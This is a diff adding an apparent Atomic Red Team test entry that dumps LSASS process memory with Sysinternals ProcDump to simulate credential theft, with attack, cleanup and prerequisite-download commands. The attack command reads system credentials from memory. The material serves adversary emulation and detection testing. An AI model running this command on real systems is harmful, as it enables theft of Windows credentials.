+## Atomic Test #9 - Create Mini Dump of LSASS.exe using ProcDump
+The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
+ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe
+
+Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.
+
+If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
+
+**Supported Platforms:** Windows
+
+
+
+
+#### Inputs:
+| Name | Description | Type | Default Value | 
+|------|-------------|------|---------------|
+| output_file | Path where resulting dump should be placed | Path | C:&#92;Windows&#92;Temp&#92;lsass_dump.dmp|
+| procdump_exe | Path of Procdump executable | Path | PathToAtomicsFolder&#92;T1003.001&#92;bin&#92;procdump.exe|
+
+
+#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 
+
+
+```cmd
+#{procdump_exe} -accepteula -mm lsass.exe #{output_file}
+```
+
+#### Cleanup Commands:
+```cmd
+del "#{output_file}" >nul 2> nul
+```
+
+
+
+#### Dependencies:  Run with `powershell`!
+##### Description: ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
+##### Check Prereq Commands:
+```powershell
+if (Test-Path #{procdump_exe}) {exit 0} else {exit 1} 
+```
+##### Get Prereq Commands:
+```powershell
+Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
+Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
+New-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null
